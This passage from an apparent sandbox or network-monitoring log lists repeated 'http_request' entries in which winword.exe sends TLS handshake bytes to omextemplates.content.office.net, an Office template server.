  345. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\tt\\x913\\x85\\x7f\\x83_\\xd4\\xcd\\x06p\\xc7\\x02\\xfd|\\x0e\\xaaj\\xfdupe\\x8d\\x0fh\\x00f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  346.  
  347.  
  348. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\xbcq\\x07d0\\xb0v\\xech\\xe1\\xe5u\\xa4\\xa0k\te\\xea\\xe5\\xa3g\\x04\\x02\\x9f\\xe2\\xc2\\xc6\\xbe\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  349.  
  350.  
  351. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\xe3;\\x94\\xf4\\x8ajbk\\xed8\\xed\\xc9xk\\xc6\\x9b\\xb7\\x83\\xe2\\x13(>\\xe3q\\xe0\\x1dj\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  352.  
  353.  
  354. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0%\\xa1cxjzn\\xb3 \\xe2$\\xf9\\x87\\xc3c\\xcc-\\x19\\xeb\\xd3\\xe0\\x11zg\\x91\\xfe)\\xed\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  355.  
  356.  
  357. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0 \\xb7\\x12\\x9e.k\\xe6v\\xfas\\xdf\\xea\\xfb\\xb8\\x13\\x82\\xfc\\x05\\x97\\x18\\xb7|\\x8bon\\x1bk\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  358.  
  359.  
  360. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\xdc\\xcd\\xc1\\x18\\xe0\\xc5\\x06\\x81o\\x07\\x022\\xa8hcz\\x19\\x05h\\xe2\\xa6t'\\xd7\\xfe'\\xee\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  361.  
  362.  
  363. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc01\\xdd\\r\\xa0\\xb1\\x8fip\\xba\\xa4~t\\xae\\xfc\\xc7j.\\xae\\xdf\\x19\\xec\\x9a\\xb2\\xf5\\xe0%p\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  364.  
  365.  
  366. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\xb2\\x11m\\xc5px\\xach`\\x04v\\xc1\\xcf\\xdf.\\xe9\\x17\\x92\\xd7\\xe0\\xafj\\x8a\\xd1&\\xe9\\xf5+\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  367.  
  368.  
  369. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0'\\xc9w\\xa6u\t\\x15\\x0f\\xc6cn\\xf2\\x94\\x05\\xefs\\x8ew\\x03\t\\xee\\x07?\\xc4$b\\xc6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  370.  
  371.  
  372. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\x16lk\\x97y(&ys\\xc4\\xda;-\\x19\\xaa\\xd9\\x9a*\\xe6\\xbdr\\xab\\xbc,\\xcd\\xb5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  373.  
  374.  
  375. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc04g\\xad\\xab!\\xf8v6\\xcf\\xb4\\x01l\\x81\\xcb<\\x94%z\\xc8\\x9c\\xbd`\\xad\\xe1\\x0b\"\\xc9~\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  376.  
  377.  
  378. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0<b\\xfb3\\x1b\\x9c\\xdb\\xbc\\xc1ci\\xe4\\xdf\\x91)\\xa2\\xc6\\xb6s\\xc4\\x17\\xc8\\x9a\\xddv\\xeb\\x1c\\xc6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  379.  
  380.  
  381. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0$\\x01\\xd1t\\xb6e\\xc1\\x12\\xa1\\xd5\\xfd\\x99\\xb6%n\\xd1m\\xb9u\\xdd\\x93h\\x18\\xda n\\xfd\\xcb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  382.  
  383.  
  384. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0^k\\x08\\xa6\\xcd98\\xf7\\xe6g|\\x83\"\\x9e3a\\x06\\xb6u\\x9c\\xc6\\xf0\\xb3\\x06\\x1dw\\xa3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  385.  
  386.  
  387. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\x9bn\\xf0\\x07\\x97,\\xb3\\xc0e\\xe2.=\\xce\\x01\\xf8\\xday(\\x91\\xb37\\xee\\xc5q\\xc8.\\x06;\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  388.  
  389.  
  390. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0i\\xb9\\xbauy\\xa4\\xb9\\xf4r\\xeanig\\xd6ru\\x84\\x84\\xb9\\x94\\x10>$\\x054~o\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  391.  
  392.  
  393. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0 \\x9b0\\xa0`\\xe0\\x11c\\xa4 \\x1ab\\x9fdnr1\\x9d\\xef\\xff\\x98\\xd5\\xaa\\xbf\\x1d\\xe2\\x842\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  394.  
  395.  
  396. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\x16a~\\xdd\\xa0\\x81\\xa7\\x9d\\x9c\\\\xfc\\xd5_\\xc0op\\x02\\x83\\xc6^\\x84\\xae\\xe9d\\x10\\x80y\\x95\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  397.  
  398.  
  399. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0p\\xad,\\xff1\\xdb5v7\\!\\xf4\\xa5\\xf2\\x1c\\x1e\\xfe\\x1ci\\xa6\\xbe\\xa2q\\x12\\x11\\xb8\\x8d\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  400.  
  401.  
  402. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\xe2\\x12\\xe58`\\xd6r\\xb0\\xac\\xdd\\x92me\\x93\\xaf\\xa3o\\x97\\x0b\\xf3#\\xba\\xd0p\\x19\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  403.  
  404.  
  405. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0.\\xc6w\\x05=m\\xc7\\x19,\\xcc\\x0c\\x92\\xcc\\x91\\xd3r\\x90\\x93\\xdc\\x86\\xac\\x04i\\x13)-o\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  406.  
  407.  
  408. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0dq\\xf4\\xd6\\x9e\\xb7\\x8c\\x9f2\\x05\\xc9#o\\x95)-bj\\x92\\xf3azh\\xb8\\xa3\\x16x8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  409.  
  410.  
  411. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0d\\xf1\\xe4\\xca\\xd1\\xa5\\xf5\\xea\\x84qq\t\\xd0\\xd8\\xc8$\\x87\\x9e\\xd9\\xc9\\x89mz\\xb4\\xfd\\xc1\\xfdn\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  412.  
  413.  
  414. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\x8b@\\x9d\\x07&\\xd4dac\\x1f\\xe0\\xf8v\\x12e\\x0c\\x89\\x91\\x0eh\\xa0\\x86i!\\xcca\\x88\\x0b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  415.  
  416.  
  417. "http_request": "winword.exe_WSASend_\\x8e\\x00\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0zl\\xf3\\xd4\\xe0\\xf0\t\\xbc\\x1b\\xbbja\\xbd\\xc3\\xa3)\\x91l\\x90\\xbc\\x02\">c\\xcfi\\x07\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  418.  
  419.  
  420. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\2s\\x10u\n\"2o\\xb1\\xdf\\xbf7+\\x17o\\xcb\\xcd\\xa7a\\x8f8\\xf88,\\xbea(\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  421.  
  422.  
  423. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\x83v\\x0ez<\\xf6\\xf0\\xed\\x87\\xa1\\x88\\x87\\xcc\\xdd\\xbc\\xed\\x89/\\xeaflv\\xb8\\xe6jk\\xcd\\xd0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  424.  
  425.  
  426. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\x1dr\\xcc6p\\x08\\x93\\x1bvx?1p\\x9e>\\xae\\xff\\xb2/\\xa3e\\xcfz2l,\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  427.  
  428.  
  429. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\xcf.c2\\xe8\\xd4gsw\\x8f\\xf29\\xb8\\x0e\\x8fba\\xe6z8\\xac\\xda\\xaa\\xa3\\xd9\\x1b\\x8e8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  430.  
  431.  
  432. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\x15\\x8a3\\xc8\\xa4e\\xab\\x975:\\x02\\xab\\xa0\\xac|\\xbb\\x19\\x8db\\xa8\\xaf\\xbd\\xcb\\xbe\\xe9\\xfc\\x02\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  433.  
  434.  
  435. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\x07r\\xd0w\\xae\\xf8\\x11\\x1c\\xeey:xx\\x10s\\xddi\r\\xab\\x11#\\x1d\\xfegh\\x95\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  436.  
  437.  
  438. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\x97\\xc8\\xce0ba\\xbe\\x0e\\xea\\xcb\\xc8n\\x80\\x18\\x83\\xc2t\\xa6\\x84l\\x84i\\xa7\\xfd#\\x8as\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  439.  
  440.  
  441. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd1\\x8bp0\\x92\\xe0\\xe3\\xd4\\xc3\\x88\\xf0v\\xdd\\xb44x\\x08\\xf0\\xaf\\x93\\x81\\xeb\\x01\\x8d/\\\\xb7\\xbd\\x9b\\x83\\xd2\\xcb>\\xb0\\xb1\\x0f,\\xae\\xfay\\xa7pr\\xee$\\xe2\\xf9^sh\\x84_\\xa1ma\\xab\\x10\\xb7\\x86#\\xf7\\xc5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000!\\xbaje\\xc5\\xaa\\x8d\\xb8p*\\x80\\xffzq\\xe69\\xd9.e\\xa4\\x03\\xbe\\x99q\\x94d\\x97\\x0f$\\xdc?4\\x80\\xd7\\xf6\\x1bzfh\\xb5\\x97\\x03~\\xdb\\xd3\\x9a"
  442.  
  443.  
  444. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0ssoa\\xc1\\xee\\x15\\xf7\\xd5\\xf8\\x8f\\x077\\xcd\\xd6\\x89~kb\\x86\\xd8\\x052\\xf2s:\\xc5\\xf5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  445.  
  446.  
  447. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0ag\\xd1\\x8e&\\xc2\\x00\\x9bh\\xe4\t\\x8atd\\x9d\\x95\\x1b\\xb5\\x18\\xe7\\x91\\x18\\x02\\xe1\\xda\\x0e\\xe7\\x15\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  448.  
  449.  
  450. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0w9\\x10\\xb3\\x86\\xc8d\\xe1^\\xd0o.h\\xf5y\\xe9\\xc6\\x8e\\xaa\\xb9rw8\\xf5\\x9eb\\xed.\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  451.  
  452.  
  453. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01)c\\xc0\\xccn\\x82\\\\xc3\\x8c\\x8c\\x11\\x9d\\x9c\\xaa\\x9e\\xee;<\\xc2\\xaaay\\xcf\\xcd$\\xe9\\xf7^\\x1b\\xe7\\x80\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  454.  
  455.  
